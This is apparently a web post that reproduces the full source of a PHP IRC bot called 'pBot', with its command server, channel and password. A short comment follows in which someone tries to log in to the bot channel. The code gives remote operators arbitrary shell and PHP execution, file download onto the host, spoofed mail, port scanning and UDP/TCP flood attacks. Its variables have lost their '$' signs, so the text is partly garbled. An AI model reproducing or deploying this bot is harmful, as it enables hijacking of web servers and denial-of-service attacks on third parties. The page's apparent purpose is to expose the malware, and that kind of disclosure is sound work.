Resolved : [irc.by] To [91.214.111.26]
Here is the pBot:
<!-- set_time_limit(0); error_reporting(0); class pBot { var config = array("server"=>"irc.by", "port"=>6669, "pass"=>"fx", "prefix"=>"fvox", "maxrand"=>8, "chan"=>"#webs", "key"=>"", "modes"=>"+iB-x", "password"=>"webs", "trigger"=>".", "hostauth"=>"Click.Here.To.Install.These.Updates" // * for any hostname ); var users = array(); function start() { if(!(this->conn = fsockopen(this->config['server'],this->config['port'],e,s,30))) this->start(); ident = ""; alph = range("a","z"); for(i=0;i<this->config['maxrand'];i++) ident .= alph[rand(0,25)]; if(strlen(this->config['pass'])>0) this->send("PASS ".this->config['pass']); this->send("USER ident 127.0.0.1 localhost :ident"); this->set_nick(); this->main(); } function main() { while(!feof(this->conn)) { this->buf = trim(fgets(this->conn,512)); cmd = explode(" ",this->buf); if(substr(this->buf,0,6)=="PING :") { this->send("PONG :".substr(this->buf,6)); } if(isset(cmd[1]) && cmd[1] =="001") { this->send("MODE ".this->nick." ".this->config['modes']); this->join(this->config['chan'],this->config['key']); } if(isset(cmd[1]) && cmd[1]=="433") { this->set_nick(); } if(this->buf != old_buf) { mcmd = array(); msg = substr(strstr(this->buf," :"),2); msgcmd = explode(" ",msg); nick = explode("!",cmd[0]); vhost = explode("@",nick[1]); vhost = vhost[1]; nick = substr(nick[0],1); host = cmd[0]; if(msgcmd[0]==this->nick) { for(i=0;i<count(msgcmd);i++) mcmd[i] = msgcmd[i+1]; } else { for(i=0;i<count(msgcmd);i++) mcmd[i] = msgcmd[i]; } if(count(cmd)>2) { switch(cmd[1]) { case "QUIT": if(this->is_logged_in(host)) { this->log_out(host); } break; case "PART": if(this->is_logged_in(host)) { this->log_out(host); } break; case "PRIVMSG": if(!this->is_logged_in(host) && (vhost == this->config['hostauth'] || this->config['hostauth'] == "*")) { if(substr(mcmd[0],0,1)==".") { switch(substr(mcmd[0],1)) { case "user": if(mcmd[1]==this->config['password']) { this->privmsg(this->config['chan'],"[2auth2]: nick logged in"); this->log_in(host); } else { this->privmsg(this->config['chan'],"[2auth2]: Incorrect password from nick"); } break; } } } elseif(this->is_logged_in(host)) { if(substr(mcmd[0],0,1)==".") { switch(substr(mcmd[0],1)) { case "restart": this->send("QUIT :restart"); fclose(this->conn); this->start(); break; case "mail": //mail to from subject message if(count(mcmd)>4) { header = "From: <".mcmd[2].">"; if(!mail(mcmd[1],mcmd[3],strstr(msg,mcmd[4]),header)) { this->privmsg(this->config['chan'],"[2mail2]: Unable to send"); } else { this->privmsg(this->config['chan'],"[2mail2]: Message sent to 2".mcmd[1]."2"); } } break; case "dns": if(isset(mcmd[1])) { ip = explode(".",mcmd[1]); if(count(ip)==4 && is_numeric(ip[0]) && is_numeric(ip[1]) && is_numeric(ip[2]) && is_numeric(ip[3])) { this->privmsg(this->config['chan'],"[2dns2]: ".mcmd[1]." => ".gethostbyaddr(mcmd[1])); } else { this->privmsg(this->config['chan'],"[2dns2]: ".mcmd[1]." => ".gethostbyname(mcmd[1])); } } break; case "info": this->privmsg(this->config['chan'],"[2info2]: [2httpd2: "._SERVER['SERVER_SOFTWARE']."] [2docroot2: "._SERVER['DOCUMENT_ROOT']."] [2domain2: "._SERVER['SERVER_NAME']."] [2admin2: "._SERVER['SERVER_ADMIN']."] [2url2:"._SERVER['REQUEST_URI']."]"); break; case "cmd": if(isset(mcmd[1])) { command = substr(strstr(msg,mcmd[0]),strlen(mcmd[0])+1); this->privmsg(this->config['chan'],"[2cmd2]: command"); pipe = popen(command,"r"); while(!feof(pipe)) { pbuf = trim(fgets(pipe,512)); if(pbuf != NULL) this->privmsg(this->config['chan']," : pbuf"); } pclose(pipe); } break; case "rndnick": this->set_nick(); break; case "raw": this->send(strstr(msg,mcmd[1])); break; case "php": eval = eval(substr(strstr(msg,mcmd[1]),strlen(mcmd[1]))); break; case "exec": command = substr(strstr(msg,mcmd[0]),strlen(mcmd[0])+1); exec = shell_exec(command); ret = explode("n",exec); this->privmsg(this->config['chan'],"[2exec2]: command"); for(i=0;i<count(ret);i++) if(ret[i]!=NULL) this->privmsg(this->config['chan']," : ".trim(ret[i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count(mcmd) > 2) { if(fsockopen(mcmd[1],mcmd[2],e,s,15)) this->privmsg(this->config['chan'],"[2pscan2]: ".mcmd[1].":".mcmd[2]." is 2open2"); else this->privmsg(this->config['chan'],"[2pscan2]: ".mcmd[1].":".mcmd[2]." is 2closed2"); } break; case "ud.server": // .udserver <server> <port> [password] if(count(mcmd)>2) { this->config['server'] = mcmd[1]; this->config['port'] = mcmd[2]; if(isset(mcmcd[3])) { this->config['pass'] = mcmd[3]; this->privmsg(this->config['chan'],"[2update2]: Changed server to ".mcmd[1].":".mcmd[2]." Pass: ".mcmd[3]); } else { this->privmsg(this->config['chan'],"[2update2]: Changed server to ".mcmd[1].":".mcmd[2]); } } break; case "download": if(count(mcmd) > 2) { if(!fp = fopen(mcmd[2],"w")) { this->privmsg(this->config['chan'],"[2download2]: Cannot download, permission denied."); } else { if(!get = file(mcmd[1])) { this->privmsg(this->config['chan'],"[2download2]: Unable to download from 2".mcmd[1]."2"); } else { for(i=0;i<=count(get);i++) { fwrite(fp,get[i]); } this->privmsg(this->config['chan'],"[2download2]: File 2".mcmd[1]."2 downloaded to 2".mcmd[2]."2"); } fclose(fp); } } break; case "die": this->send("QUIT :die command from nick"); fclose(this->conn); exit; case "logout": this->log_out(host); this->privmsg(this->config['chan'],"[2auth2]: nick logged out"); break; case "udpflood": if(count(mcmd)>4) { this->udpflood(mcmd[1],mcmd[2],mcmd[3],mcmd[4]); } break; case "tcpflood": if(count(mcmd)>5) { this->tcpflood(mcmd[1],mcmd[2],mcmd[3],mcmd[4],mcmd[5]); } break; } } } break; } } } old_buf = this->buf; } this->start(); } function send(msg) { fwrite(this->conn,"msgrn"); } function join(chan,key=NULL) { this->send("JOIN chan key"); } function privmsg(to,msg) { this->send("PRIVMSG to :msg"); } function is_logged_in(host) { if(isset(this->users[host])) return 1; else return 0; } function log_in(host) { this->users[host] = true; } function log_out(host) { unset(this->users[host]); } function set_nick() { if(isset(_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower(_SERVER['SERVER_SOFTWARE']),"apache")) this->nick = "[A]"; elseif(strstr(strtolower(_SERVER['SERVER_SOFTWARE']),"iis")) this->nick = "[I]"; elseif(strstr(strtolower(_SERVER['SERVER_SOFTWARE']),"xitami")) this->nick = "[X]"; else this->nick = "[U]"; } else { this->nick = "[C]"; } this->nick .= this->config['prefix']; for(i=0;i<this->config['maxrand'];i++) this->nick .= mt_rand(0,9); this->send("NICK ".this->nick); } function udpflood(host,packets,packetsize,delay) { this->privmsg(this->config['chan'],"[2udpflood2]: Sending packets packets to host. Packet size: packetsize"); packet = ""; for(i=0;i<packetsize;i++) packet .= chr(mt_rand(1,256)); for(i=0;i<packets;i++) { if(!fp=fsockopen("udp://".host,mt_rand(0,6000),e,s,5)) { this->privmsg(this->config['chan'],"[2udpflood2]: Error: <e>"); return 0; } else { fwrite(fp,packet); fclose(fp); } sleep(delay); } this->privmsg(this->config['chan'],"[2udpflood2]: Finished sending packets packets to host."); } function tcpflood(host,packets,packetsize,port,delay) { this->privmsg(this->config['chan'],"[2tcpflood2]: Sending packets packets to host:port. Packet size: packetsize"); packet = ""; for(i=0;i<packetsize;i++) packet .= chr(mt_rand(1,256)); for(i=0;i<packets;i++) { if(!fp=fsockopen("tcp://".host,port,e,s,5)) { this->privmsg(this->config['chan'],"[2tcpflood2]: Error: <e>"); return 0; } else { fwrite(fp,packet); fclose(fp); } sleep(delay); } this->privmsg(this->config['chan'],"[2tcpflood2]: Finished sending packets packets to host:port."); } } bot = new pBot; bot->start(); ?>
hosting infos:
Anonymous - January 19, 2013 at 5:53 pm
Channel is empty. It's registered with ChanServ but nobody is there.
[11:49] * Now talking in #webs
[11:49] .user webs
[11:49] .info
[11:49] * ChanServ sets mode: +r-o Me
:'(